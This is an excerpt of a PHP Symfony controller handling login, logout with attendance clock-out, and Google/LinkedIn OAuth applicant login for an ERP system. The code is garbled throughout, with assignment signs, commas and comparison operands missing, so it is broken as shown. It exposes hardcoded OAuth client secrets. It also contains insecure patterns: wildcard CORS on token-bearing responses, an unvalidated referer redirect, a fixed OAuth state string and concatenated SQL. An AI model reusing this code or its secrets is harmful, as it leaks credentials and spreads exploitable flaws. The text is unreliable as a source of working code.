  5436.                                         'userType' => $thisUserUserType,
  5437.                                         'globalId' => $globalId,
  5438.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  5439.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  5440.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  5441.                                         'systemType' => '_ERP_',
  5442.                                         'companyId' => 1,
  5443.                                         'appId' => $thisUserAppId,
  5444.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  5445.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  5446.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  5447.                                                 array(
  5448.                                                     'globalId' => $globalId,
  5449.                                                     'appId' => $thisUserAppId,
  5450.                                                     'authenticate' => 1,
  5451.                                                     'userType' => $thisUserUserType
  5452.                                                 )
  5453.                                             )
  5454.                                         ),
  5455.                                         'userCompanyList' => [
  5456.                                         ]
  5457.                                     );
  5458.                                     $accessList[] = $d;
  5459.                                 }
  5460.                             }
  5461.                         }
  5462.                         $session_data['userAccessList'] = $accessList;
  5463.                     }
  5464.                     $ultimateData System::setSessionForUser($em_goc,
  5465.                         $session,
  5466.                         $session_data,
  5467.                         $config
  5468.                     );
  5469. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  5470.                     $session_data $ultimateData['sessionData'];
  5471.                     $session_data $this->filterClientSessionData($session_data);
  5472.                     $token $ultimateData['token'];
  5473.                     $session->set('token'$token);
  5474.                     if ($systemType == '_CENTRAL_') {
  5475.                         $session->set('csToken'$token);
  5476.                     } else {
  5477.                         $session->set('csToken'$csToken);
  5478.                     }
  5479.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  5480.                         $session->set('remoteVerified'1);
  5481.                         $response = new JsonResponse(array(
  5482.                             'token' => $token,
  5483.                             'uid' => $session->get(UserConstants::USER_ID),
  5484.                             'session' => $session,
  5485.                             'success' => true,
  5486.                             'session_data' => $session_data,
  5487.                         ));
  5488.                         $response->headers->set('Access-Control-Allow-Origin''*');
  5489.                         return $response;
  5490.                     }
  5491.                     //TEMP START
  5492.                     if ($systemType == '_CENTRAL_') {
  5493.                         return $this->redirectToRoute('central_landing');
  5494.                     }
  5495.                     //TREMP END
  5496.                     if ($userForcedRoute != '')
  5497.                         return $this->redirectToRoute($userForcedRoute);
  5498.                     if ($request->request->has('referer_path')) {
  5499.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  5500.                             return $this->redirect($request->request->get('referer_path'));
  5501.                         }
  5502.                     }
  5503.                     if ($request->query->has('refRoute')) {
  5504.                         if ($request->query->get('refRoute') == '8917922')
  5505.                             $userDefaultRoute 'apply_for_consultant';
  5506.                     }
  5507.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  5508.                         $userDefaultRoute 'dashboard';
  5509.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5510.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5511.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5512.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5513.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5514.                                 return $this->redirect($red);
  5515.                             }
  5516.                         } else {
  5517.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5518.                         }
  5519.                     } else
  5520.                         return $this->redirectToRoute($userDefaultRoute);
  5521.                 }
  5522.             }
  5523.         }
  5524.         $session $request->getSession();
  5525.         if (isset($encData['appId'])) {
  5526.             if (isset($gocDataListByAppId[$encData['appId']]))
  5527.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  5528.         }
  5529.         $routeName $request->attributes->get('_route');
  5530.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  5531.             $refRoute '';
  5532.             $message '';
  5533.             $errorField '_NONE_';
  5534. //            if ($request->query->has('message')) {
  5535. //                $message = $request->query->get('message');
  5536. //
  5537. //            }
  5538. //            if ($request->query->has('errorField')) {
  5539. //                $errorField = $request->query->get('errorField');
  5540. //
  5541. //            }
  5542.             if ($refRoute != '') {
  5543.                 if ($refRoute == '8917922')
  5544.                     $redirectRoute 'apply_for_consultant';
  5545.             }
  5546.             if ($request->query->has('refRoute')) {
  5547.                 $refRoute $request->query->get('refRoute');
  5548.                 if ($refRoute == '8917922')
  5549.                     $redirectRoute 'apply_for_consultant';
  5550.             }
  5551.             $google_client = new Google_Client();
  5552. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5553. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5554.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5555.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5556.             } else {
  5557.                 $url $this->generateUrl(
  5558.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5559.                 );
  5560.             }
  5561.             $selector BuddybeeConstant::$selector;
  5562.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5563. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5564.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5565. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5566.             $google_client->setRedirectUri($url);
  5567.             $google_client->setAccessType('offline');        // offline access
  5568.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5569.             $google_client->setRedirectUri($url);
  5570.             $google_client->addScope('email');
  5571.             $google_client->addScope('profile');
  5572.             $google_client->addScope('openid');
  5573.             return $this->render(
  5574.                 '@Authentication/pages/views/applicant_login.html.twig',
  5575.                 [
  5576.                     'page_title' => 'BuddyBee Login',
  5577.                     'oAuthLink' => $google_client->createAuthUrl(),
  5578.                     'redirect_url' => $url,
  5579.                     'message' => $message,
  5580.                     'errorField' => '',
  5581.                     'systemType' => $systemType,
  5582.                     'ownServerId' => $ownServerId,
  5583.                     'refRoute' => $refRoute,
  5584.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5585.                     'selector' => $selector
  5586.                 ]
  5587.             );
  5588.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  5589.             $refRoute '';
  5590.             $message '';
  5591.             $errorField '_NONE_';
  5592. //            if ($request->query->has('message')) {
  5593. //                $message = $request->query->get('message');
  5594. //
  5595. //            }
  5596. //            if ($request->query->has('errorField')) {
  5597. //                $errorField = $request->query->get('errorField');
  5598. //
  5599. //            }
  5600.             if ($refRoute != '') {
  5601.                 if ($refRoute == '8917922')
  5602.                     $redirectRoute 'apply_for_consultant';
  5603.             }
  5604.             if ($request->query->has('refRoute')) {
  5605.                 $refRoute $request->query->get('refRoute');
  5606.                 if ($refRoute == '8917922')
  5607.                     $redirectRoute 'apply_for_consultant';
  5608.             }
  5609.             $google_client = new Google_Client();
  5610. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5611. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5612.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5613.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5614.             } else {
  5615.                 $url $this->generateUrl(
  5616.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5617.                 );
  5618.             }
  5619.             $selector BuddybeeConstant::$selector;
  5620. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5621.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  5622. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5623.             $google_client->setRedirectUri($url);
  5624.             $google_client->setAccessType('offline');        // offline access
  5625.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5626.             $google_client->setRedirectUri($url);
  5627.             $google_client->addScope('email');
  5628.             $google_client->addScope('profile');
  5629.             $google_client->addScope('openid');
  5630.             return $this->render(
  5631.                 '@Authentication/pages/views/central_login.html.twig',
  5632.                 [
  5633.                     'page_title' => 'Central Login',
  5634.                     'oAuthLink' => $google_client->createAuthUrl(),
  5635.                     'redirect_url' => $url,
  5636.                     'message' => $message,
  5637.                     'systemType' => $systemType,
  5638.                     'ownServerId' => $ownServerId,
  5639.                     'errorField' => '',
  5640.                     'refRoute' => $refRoute,
  5641.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5642.                     'selector' => $selector
  5643.                 ]
  5644.             );
  5645.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  5646.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  5647.         } else
  5648.             return $this->render(
  5649.                 '@Authentication/pages/views/login_new.html.twig',
  5650.                 array(
  5651.                     "message" => $message,
  5652.                     'page_title' => 'Login',
  5653.                     'gocList' => $gocDataListForLoginWeb,
  5654.                     'gocId' => $gocId != $gocId '',
  5655.                     'systemType' => $systemType,
  5656.                     'ownServerId' => $ownServerId,
  5657.                     'encData' => $encData,
  5658.                     //                'ref'=>$request->
  5659.                 )
  5660.             );
  5661.     }
  5662.     public function initiateAdminAction(Request $request$remoteVerify 0)
  5663.     {
  5664.         $em $this->getDoctrine()->getManager();
  5665.         MiscActions::initiateAdminUser($em);
  5666.         $this->addFlash(
  5667.             'success',
  5668.             'The Action was Successful.'
  5669.         );
  5670.         return $this->redirectToRoute('user_login');
  5671.     }
  5672.     public function LogoutAction(Request $request$remoteVerify 0)
  5673.     {
  5674.         $session $request->getSession();
  5675.         $em_goc $this->getDoctrine()->getManager('company_group');
  5676.         $session $request->getSession();
  5677.         $token =    $request->headers->get('auth-token',$request->request->get('token'$request->request->get('hbeeSessionToken''')));
  5678. //        return new JsonResponse([$token]);
  5679.         if ($session->get(UserConstants::USER_ID0)==) {
  5680. //                    return new JsonResponse([$token]);
  5681.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$token)['sessionData'];
  5682.             if ($to_set_session_data != null) {
  5683.                 foreach ($to_set_session_data as $k => $d) {
  5684.                     //check if mobile
  5685.                     $session->set($k$d);
  5686.                 }
  5687.             } else {
  5688.                 $hbeeErrorCode ApiConstants::ERROR_TOKEN_EXPIRED;
  5689.             }
  5690.         }
  5691.         $userId $session->get(UserConstants::USER_ID);
  5692.         $currentTime = new \Datetime();
  5693.         $currTs $currentTime->format('U');
  5694.         $routeName $request->attributes->get('_route');
  5695.         $currentTaskId $session->get(UserConstants::USER_CURRENT_TASK_ID0);
  5696.         $currentPlanningItemId $session->get(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5697.         if ($request->query->get('endCurrentTask'1) == 1) {
  5698.             if (
  5699.                 ($currentTaskId != && $currentTaskId != null && $currentTaskId != '') &&
  5700.                 ($session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_GENERAL ||
  5701.                     $session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_SYSTEM)
  5702.             ) {
  5703.                 $gocId $session->get(UserConstants::USER_GOC_ID);
  5704.                 $appId $session->get(UserConstants::USER_APP_ID);
  5705.                 $acknowledgementService $this->get('app.public_document_acknowledgement_service');
  5706.                 list($em$goc) = $acknowledgementService->getPublicDocumentEntityManager($appId);
  5707.                 $stmt $em->getConnection()->executeStatement('UPDATE task_log set working_status=2, actual_end_ts=' $currTs ' where working_status=1 and user_id= ' $session->get(UserConstants::USER_ID) . ' ;');
  5708.                 
  5709.                 
  5710.                 if (1) {
  5711.                     $session->set(UserConstants::USER_CURRENT_TASK_ID0);
  5712.                     $session->set(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5713.                     $empId $session->get(UserConstants::USER_EMPLOYEE_ID0);
  5714.                     $currTime = new \DateTime();
  5715.                     $options = array(
  5716.                         'notification_enabled' => $this->container->getParameter('notification_enabled'),
  5717.                         'notification_server' => $this->container->getParameter('notification_server'),
  5718.                     );
  5719.                     $positionsArray = [
  5720.                         array(
  5721.                             'employeeId' => $empId,
  5722.                             'userId' => $session->get(UserConstants::USER_ID0),
  5723.                             'sysUserId' => $session->get(UserConstants::USER_ID0),
  5724.                             'timeStamp' => $currTime->format(DATE_ISO8601),
  5725.                             'lat' => 23.8623834,
  5726.                             'lng' => 90.3979294,
  5727.                             'markerId' => HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT,
  5728. //                            'userId'=>$session->get(UserConstants::USER_ID, 0),
  5729.                         )
  5730.                     ];
  5731.                     if (is_string($positionsArray)) $positionsArray json_decode($positionsArraytrue);
  5732.                     if ($positionsArray == null$positionsArray = [];
  5733.                     $dataByAttId = [];
  5734.                     $workPlaceType '_UNSET_';
  5735.                     foreach ($positionsArray as $findex => $d) {
  5736.                         $sysUserId 0;
  5737.                         $userId 0;
  5738.                         $empId 0;
  5739.                         $dtTs 0;
  5740.                         $timeZoneStr '+0000';
  5741.                         if (isset($d['employeeId'])) $empId $d['employeeId'];
  5742.                         if (isset($d['userId'])) $userId $d['userId'];
  5743.                         if (isset($d['sysUserId'])) $sysUserId $d['sysUserId'];
  5744.                         if (isset($d['tsMilSec'])) {
  5745.                             $dtTs ceil(($d['tsMilSec']) / 1000);
  5746.                         }
  5747.                         if ($dtTs == 0) {
  5748.                             $currTsTime = new \DateTime();
  5749.                             $dtTs $currTsTime->format('U');
  5750.                         } else {
  5751.                             $currTsTime = new \DateTime('@' $dtTs);
  5752.                         }
  5753.                         $currTsTime->setTimezone(new \DateTimeZone('UTC'));
  5754.                         $attDate = new \DateTime($currTsTime->format('Y-m-d') . ' 00:00:00' $timeZoneStr);
  5755.                         $EmployeeAttendance $this->getDoctrine()
  5756.                             ->getRepository(EmployeeAttendance::class)
  5757.                             ->findOneBy(array('employeeId' => $empId'date' => $attDate));
  5758.                         if (!$EmployeeAttendance) {
  5759.                             continue;
  5760.                         } else {
  5761.                         }
  5762.                         $attendanceInfo HumanResource::StoreAttendance($em$empId$sysUserId$request$EmployeeAttendance$attDate$dtTs$timeZoneStr$d['markerId']);
  5763.                         if ($d['markerId'] == HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT) {
  5764.                             $workPlaceType '_STATIC_';
  5765.                         }
  5766.                         if (!isset($dataByAttId[$attendanceInfo->getId()]))
  5767.                             $dataByAttId[$attendanceInfo->getId()] = array(
  5768.                                 'attendanceInfo' => $attendanceInfo,
  5769.                                 'empId' => $empId,
  5770.                                 'lat' => 0,
  5771.                                 'lng' => 0,
  5772.                                 'address' => 0,
  5773.                                 'sysUserId' => $sysUserId,
  5774.                                 'companyId' => $request->getSession()->get(UserConstants::USER_COMPANY_ID),
  5775.                                 'appId' => $request->getSession()->get(UserConstants::USER_APP_ID),
  5776.                                 'positionArray' => []
  5777.                             );
  5778.                         $posData = array(
  5779.                             'ts' => $dtTs,
  5780.                             'lat' => $d['lat'],
  5781.                             'lng' => $d['lng'],
  5782.                             'marker' => $d['markerId'],
  5783.                             'src' => 2,
  5784.                         );
  5785.                         $posDataArray = array(
  5786.                             $dtTs,
  5787.                             $d['lat'],
  5788.                             $d['lng'],
  5789.                             $d['markerId'],
  5790.                             2
  5791.                         );
  5792.                         $dataByAttId[$attendanceInfo->getId()]['markerId'] = $d['markerId'];
  5793.                         //this markerId will be calclulted and modified to check if user is in our out of office/workplace later
  5794.                         $dataByAttId[$attendanceInfo->getId()]['attendanceInfo'] = $attendanceInfo;
  5795.                         $dataByAttId[$attendanceInfo->getId()]['positionArray'][] = $posData;
  5796.                         $dataByAttId[$attendanceInfo->getId()]['lat'] = $d['lat'];  //for last lat lng etc
  5797.                         $dataByAttId[$attendanceInfo->getId()]['lng'] = $d['lng'];  //for last lat lng etc
  5798.                         if (isset($d['address']))
  5799.                             $dataByAttId[$attendanceInfo->getId()]['address'] = $d['address'];  //for last lat lng etc
  5800. //                $dataByAttId[$attendanceInfo->getId()]['positionArray'][]=$posDataArray;
  5801.                     }
  5802.                     $response = array(
  5803.                         'success' => true,
  5804.                     );
  5805.                     foreach ($dataByAttId as $attInfoId => $d) {
  5806.                         $response HumanResource::setAttendanceLogFlutterApp($em,
  5807.                             $d['empId'],
  5808.                             $d['sysUserId'],
  5809.                             $d['companyId'],
  5810.                             $d['appId'],
  5811.                             $request,
  5812.                             $d['attendanceInfo'],
  5813.                             $options,
  5814.                             $d['positionArray'],
  5815.                             $d['lat'],
  5816.                             $d['lng'],
  5817.                             $d['address'],
  5818.                             $d['markerId']
  5819.                         );
  5820.                     }
  5821.                 }
  5822.             }
  5823.         }
  5824.         if ($token != '')
  5825.             MiscActions::DeleteToken($em_goc$token);
  5826.         $session->clear();
  5827.         $session->set('CLEARLOGIN'1);
  5828.         if (strripos($request->server->get('HTTP_REFERER'), 'select_data') === false) {
  5829.             if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  5830.                 $referrerPath parse_url($request->server->get('HTTP_REFERER'), PHP_URL_PATH);
  5831.                 $referrerPath strtolower($referrerPath === false || $referrerPath === null $request->server->get('HTTP_REFERER') : $referrerPath);
  5832.                 if (strripos($referrerPath'/auth/') === false && strripos($referrerPath'undefined') === false) {
  5833.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN'$request->server->get('HTTP_REFERER'));
  5834.                 } else {
  5835.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5836.                 }
  5837.             }
  5838.         } else {
  5839.             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5840.         }
  5841. //        $request->headers->setCookie(Cookie::create('CLEARLOGINCOOKIE', 1
  5842. //            )
  5843. //
  5844. //        );
  5845.         if ($routeName == 'app_logout_api' || $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == || $request->get('returnJson'0) == 1) {
  5846.             if ($userId) {
  5847.                 return new JsonResponse(array(
  5848.                     "success" => empty($session->get(UserConstants::USER_ID)) ? true false,
  5849.                     "message" => "Logout Successfull!",
  5850.                     'session_data' => [],
  5851.                     'userId' => $userId
  5852.                 ));
  5853.             } else {
  5854.                 return new JsonResponse(array(
  5855.                     "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  5856.                     "message" => "Already Logout",
  5857.                     'session_data' => [],
  5858.                     'userId' => $userId
  5859.                 ));
  5860.             }
  5861.         }
  5862.         return $this->redirectToRoute("dashboard");
  5863.     }
  5864.     public function applicantLoginAction(Request $request$encData ''$remoteVerify 0)
  5865.     {
  5866.         $session $request->getSession();
  5867.         $email $request->getSession()->get('userEmail');
  5868.         $sessionUserId $request->getSession()->get('userId');
  5869.         $oAuthData = [];
  5870. //    $encData='';
  5871.         $em $this->getDoctrine()->getManager('company_group');
  5872.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  5873.         $redirectRoute 'dashboard';
  5874.         if ($encData != '') {
  5875.             if ($encData == '8917922')
  5876.                 $redirectRoute 'apply_for_consultant';
  5877.         }
  5878.         if ($request->query->has('encData')) {
  5879.             $encData $request->query->get('encData');
  5880.             if ($encData == '8917922')
  5881.                 $redirectRoute 'apply_for_consultant';
  5882.         }
  5883.         $message '';
  5884.         $errorField '_NONE_';
  5885.         if ($request->query->has('message')) {
  5886.             $message $request->query->get('message');
  5887.         }
  5888.         if ($request->query->has('errorField')) {
  5889.             $errorField $request->query->get('errorField');
  5890.         }
  5891.         if ($request->request->has('oAuthData')) {
  5892.             $oAuthData $request->request->get('oAuthData', []);
  5893.         } else {
  5894.             $oAuthData = [
  5895.                 'email' => $request->request->get('email'''),
  5896.                 'uniqueId' => $request->request->get('uniqueId'''),
  5897.                 'oAuthHash' => '_NONE_',
  5898.                 'image' => $request->request->get('image'''),
  5899.                 'emailVerified' => $request->request->get('emailVerified'''),
  5900.                 'name' => $request->request->get('name'''),
  5901.                 'firstName' => $request->request->get('firstName'''),
  5902.                 'lastName' => $request->request->get('lastName'''),
  5903.                 'type' => 1,
  5904.                 'token' => $request->request->get('oAuthtoken'''),
  5905.             ];
  5906.         }
  5907.         $isApplicantExist null;
  5908.         if ($email) {
  5909.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5910.                 $isApplicantExist $applicantRepo->findOneBy([
  5911.                     'applicantId' => $sessionUserId
  5912.                 ]);
  5913.             } else
  5914.                 return $this->redirectToRoute($redirectRoute);
  5915.         }
  5916.         $google_client = new Google_Client();
  5917. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5918. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5919.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5920.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  5921.         } else {
  5922.             $url $this->generateUrl(
  5923.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  5924.             );
  5925.         }
  5926.         $selector BuddybeeConstant::$selector;
  5927.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5928.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  5929. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5930.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5931. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5932.         $google_client->setRedirectUri($url);
  5933.         $google_client->setAccessType('offline');        // offline access
  5934.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5935.         $google_client->addScope('email');
  5936.         $google_client->addScope('profile');
  5937.         $google_client->addScope('openid');
  5938. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  5939.         //linked in 1st
  5940.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  5941.             $curl curl_init();
  5942.             curl_setopt_array($curl, array(
  5943.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  5944.                 CURLOPT_HEADER => false,  // don't return headers
  5945.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  5946.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  5947.                 CURLOPT_ENCODING => "",     // handle compressed
  5948.                 CURLOPT_USERAGENT => "test"// name of client
  5949.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  5950.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  5951.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  5952.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  5953.                 CURLOPT_USERAGENT => 'InnoPM',
  5954.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  5955.                 CURLOPT_POST => 1,
  5956.                 CURLOPT_HTTPHEADER => array(
  5957.                     'Content-Type: application/x-www-form-urlencoded'
  5958.                 )
  5959.             ));
  5960.             $content curl_exec($curl);
  5961.             $contentArray = [];
  5962.             curl_close($curl);
  5963.             $token false;
  5964. //      return new JsonResponse(array(
  5965. //          'content'=>$content,
  5966. //          'contentArray'=>json_decode($content,true),
  5967. //
  5968. //      ));
  5969.             if ($content) {
  5970.                 $contentArray json_decode($contenttrue);
  5971.                 $token $contentArray['access_token'];
  5972.             }
  5973.             if ($token) {
  5974.                 $applicantInfo = [];
  5975.                 $curl curl_init();
  5976.                 curl_setopt_array($curl, array(
  5977.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  5978.                     CURLOPT_HEADER => false,  // don't return headers
  5979.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  5980.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  5981.                     CURLOPT_ENCODING => "",     // handle compressed
  5982.                     CURLOPT_USERAGENT => "test"// name of client
  5983.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  5984.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  5985.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  5986.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  5987.                     CURLOPT_USERAGENT => 'InnoPM',
  5988.                     CURLOPT_HTTPGET => 1,
  5989.                     CURLOPT_HTTPHEADER => array(
  5990.                         'Authorization: Bearer ' $token,
  5991.                         'Header-Key-2: Header-Value-2'
  5992.                     )
  5993.                 ));
  5994.                 $userGeneralcontent curl_exec($curl);
  5995.                 curl_close($curl);
  5996.                 if ($userGeneralcontent) {
  5997.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  5998.                 }
  5999.                 $curl curl_init();
  6000.                 curl_setopt_array($curl, array(
  6001.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6002.                     CURLOPT_HEADER => false,  // don't return headers
  6003.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6004.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6005.                     CURLOPT_ENCODING => "",     // handle compressed
  6006.                     CURLOPT_USERAGENT => "test"// name of client
  6007.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6008.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6009.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6010.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6011. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6012.                     CURLOPT_USERAGENT => 'InnoPM',
  6013.                     CURLOPT_HTTPGET => 1,
  6014.                     CURLOPT_HTTPHEADER => array(
  6015.                         'Authorization: Bearer ' $token,
  6016.                         'Header-Key-2: Header-Value-2'
  6017.                     )
  6018.                 ));
  6019.                 $userEmailcontent curl_exec($curl);
  6020.                 curl_close($curl);
  6021.                 $token false;
  6022.                 if ($userEmailcontent) {
  6023.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6024.                 }
  6025. //        $oAuthEmail = $applicantInfo['email'];
  6026. //        return new JsonResponse(array(
  6027. //          'userEmailcontent'=>$userEmailcontent,
  6028. //          'userGeneralcontent'=>$userGeneralcontent,
  6029. //        ));
  6030. //        return new response($userGeneralcontent);
  6031.                 $oAuthData = [
  6032.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6033.                     'uniqueId' => $userGeneralcontent['id'],
  6034.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6035.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6036.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6037.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6038.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6039.                     'type' => 1,
  6040.                     'token' => $token,
  6041.                 ];
  6042.             }
  6043.         } else if (isset($_GET["code"])) {
  6044.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6045.             if (!isset($token['error'])) {
  6046.                 $google_client->setAccessToken($token['access_token']);
  6047.                 $google_service = new Google_Service_Oauth2($google_client);
  6048.                 $applicantInfo $google_service->userinfo->get();
  6049.                 $oAuthEmail $applicantInfo['email'];
  6050.                 $oAuthData = [
  6051.                     'email' => $applicantInfo['email'],
  6052.                     'uniqueId' => $applicantInfo['id'],
  6053.                     'image' => $applicantInfo['picture'],
  6054.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6055.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6056.                     'firstName' => $applicantInfo['givenName'],
  6057.                     'lastName' => $applicantInfo['familyName'],
  6058.                     'type' => $token['token_type'],
  6059.                     'token' => $token['access_token'],
  6060.                 ];
  6061.             }
  6062.         }
  6063.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6064.             $isApplicantExist $applicantRepo->findOneBy([
  6065.                 'email' => $oAuthData['email']
  6066.             ]);
  6067.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6068.                 $isApplicantExist $applicantRepo->findOneBy([
  6069.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6070.                 ]);
  6071.             }
  6072.             if ($isApplicantExist) {
  6073.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6074.                 } else
  6075.                     return $this->redirectToRoute("core_login", [
  6076.                         'id' => $isApplicantExist->getApplicantId(),
  6077.                         'oAuthData' => $oAuthData,
  6078.                         'encData' => $encData,
  6079.                         'locale' => $request->request->get('locale''en'),
